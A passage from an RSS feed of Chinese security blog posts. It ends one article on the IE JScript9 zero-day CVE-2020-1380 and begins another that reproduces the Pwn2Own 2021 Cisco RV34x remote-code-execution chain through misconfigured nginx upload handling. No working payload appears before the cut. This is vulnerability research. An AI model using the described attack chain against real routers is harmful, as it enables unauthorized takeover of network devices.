border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">privilege</figcaption></figure><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">总结</span><span style="box-sizing: border-box;"></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">这个漏洞是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">2020</code>年抓到的一个在野利用的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0 day</code>，通过分析它进一步掌握了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ie</code>漏洞的利用方法，同时这个漏洞目前在野外利用还是不少。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">64</code>位系统中的利用大同小异，结构体指针字段加长罢了。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">References</h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[1]</code> 趋势科技: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html" target="_blank">https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[2]</code> Edge Type Confusion利用：从type confused到内存读写: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.anquanke.com/post/id/98774" target="_blank">https://www.anquanke.com/post/id/98774</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[3]</code> [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://bbs.pediy.com/thread-263885.htm" target="_blank">https://bbs.pediy.com/thread-263885.htm</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[4]</code> Exploit IE Using Scriptable ActiveX Controls.pdf: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf" target="_blank">https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[5]</code> CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html" target="_blank">https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[6]</code> Internet Explorer and Windows zero-day exploits used in Operation PowerFall: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/" target="_blank">https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[7]</code> CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html" target="_blank">https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[8]</code> [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://bbs.pediy.com/thread-263885.htm" target="_blank">https://bbs.pediy.com/thread-263885.htm</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[9]</code> IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.freebuf.com/vuls/283182.html" target="_blank">https://www.freebuf.com/vuls/283182.html</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[10]</code> Edge Type Confusion利用：从type confused到内存读写: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.anquanke.com/post/id/98774" target="_blank">https://www.anquanke.com/post/id/98774</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[11]</code> Exploit IE Using Scriptable ActiveX Controls.pdf: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf" target="_blank">https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf</a></em></p><p><br/></p>



<p><a href="2247483711">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=446d0b8f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3OTc2NTMxNA%3D%3D%26mid%3D2247483711%26idx%3D1%26sn%3D08aca09e8263a1224c7366979d8c5d8d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 15 May 2022 17:55:00 +0800</pubDate>
    </item>
    <item>
      <title>Pwn2Own Austin 2021 Cisco RV34x RCE漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3OTc2NTMxNA==&amp;mid=2247483702&amp;idx=1&amp;sn=013a96467ddfc9d495d820d10bdc4217</link>
      <description>在经历了多次修补之后，在Pwn2Own Austin 2021上Cisco RV34x系列路由器仍然被IoT Inspector Research Lab攻破</description>
      <content:encoded><![CDATA[<p>
原创 <span>f0cus7</span> <span>2022-04-22 10:36</span> <span style="display: inline-block;"></span>
</p>

<p>在经历了多次修补之后，在Pwn2Own Austin 2021上Cisco RV34x系列路由器仍然被IoT Inspector Research Lab攻破</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d70a88ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRcjPiba6l3doeUO63SfUCCe1skUGK14JtL28NxzkXSTlYPkknaYuwtEgcOibajdHGHp9LezoLhL4gzrbR3icaaYlg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">去年一整年Cisco RV34x系列曝出了一系列漏洞，在经历了多次修补之后，在年底的Pwn2Own Austin 2021上该系列路由器仍然被IoT Inspector Research Lab攻破了，具体来说是三个逻辑漏洞结合实现了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RCE</code>，本文将基于该团队发布的wp进行复现分析。</p><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">漏洞简介</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">漏洞公告信息如下，影响的版本是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">1.0.03.24</code>之前，受影响的产品除了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV34x</code>之外，还包括<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV160</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV160W</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV260</code>以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV260W</code>系列。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">Affected vendor &amp; product<br/>Vendor Advisory<br/>Cisco RV340 Dual WAN Gigabit VPN Router (<a href="https://www.cisco.com/)" target="_blank">https://www.cisco.com/)</a><br/><a href="https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html" target="_blank">https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html</a><br/>Vulnerable version    1.0.03.24 and earlier<br/>Fixed version    1.0.03.26<br/>CVE IDs    CVE-2022-20705<br/>CVE-2022-20708<br/>CVE-2022-20709<br/>CVE-2022-20711<br/>Impact    10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H<br/>Credit    Q. Kaiser, IoT Inspector Research Lab<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">无条件<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RCE</code>的实现是由三个漏洞一起构成的，包括：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">任意文件上传漏洞；</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">任意文件移动漏洞；</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">认证后的命令注入漏洞。</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过前两个漏洞实现了有效<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>的伪造，利用伪造的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>具备了访问认证后页面的能力，后续再利用认证后命令注入漏洞实现<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rce</code>。</p><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">漏洞分析</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">此次的分析是基于固件版本1.0.03.24进行的，下载固件使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">binwalk</code>进行解压，刷新到路由器当中以方便后续动态调试验证。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">此次漏洞分析的基础有两个，一个是要能看懂<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx+uwsgi</code>架构组成的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">web</code>框架配置，尤其是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>配置文件的了解；一个是要能知道<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">cisco ConfD+yang</code>实现的后端数据中心服务。前者可以通过搜索<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx+uwsgi 配置</code>实现，特别是需要<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>上传模块的配置，可参考Nginx-upload-module中文文档；后者资料不多，需要啃官方文档，可以先了解<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">netconf+yang</code>的网络管理模型，然后再查看官方文档ConfD User Guide来掌握。</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">任意文件上传漏洞</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">认证前任意文件上传漏洞以及任意文件移动漏洞认证前的功能都是因为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>的不正确配置所导致的，先来看任意文件上传漏洞。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>的主配置文件是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/nginx/nginx.conf</code>，从它的内容当中可以看到对应的用户权限是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">www-data</code>，</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/nginx/nginx.conf</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">user</span> www-data;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">worker_processes</span>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">error_log</span> /dev/null;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">events</span> {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">worker_connections</span>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1024</span>;<br/>}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">http</span> {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">access_log</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">off</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#error_log /var/log/nginx/error.log  error;</span><br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upstream</span> jsonrpc {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">server</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">127.0.0.1:9000</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upstream</span> rest {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">server</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">127.0.0.1:8008</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># For websocket proxy server</span><br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> /var/nginx/conf.d/proxy.websocket.conf;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> /var/nginx/sites-enabled/*;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">加载的配置是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/var/nginx/conf.d/proxy.websocket.conf</code>以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/var/nginx/sites-enabled/*</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">/usr/bin <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># ls /var/nginx/sites-enabled/</span><br/>web-rest-lan  web-wan<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/nginx/sites-available/web-rest-lan</code>中看到它加载了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">lan.rest.conf</code>以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">web.upload.conf</code>这两个配置文件。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/nginx/sites-available/web-rest-lan</span><br/>...<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">server</span> {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">server_name</span>  localhost:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">443</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#mapping to Firewall-&gt;Basic Settings-&gt;LAN/VPN Web Management, it will generate by ucicfg</span><br/>    ...<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> /var/nginx/conf.d/lan.rest.conf;<br/>    ...<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> /var/nginx/conf.d/web.upload.conf;<br/>    ...<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>的所有模块的配置都存储在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/nginx/conf.d</code>当中，其中与<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">lan.rest.conf</code>对应的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 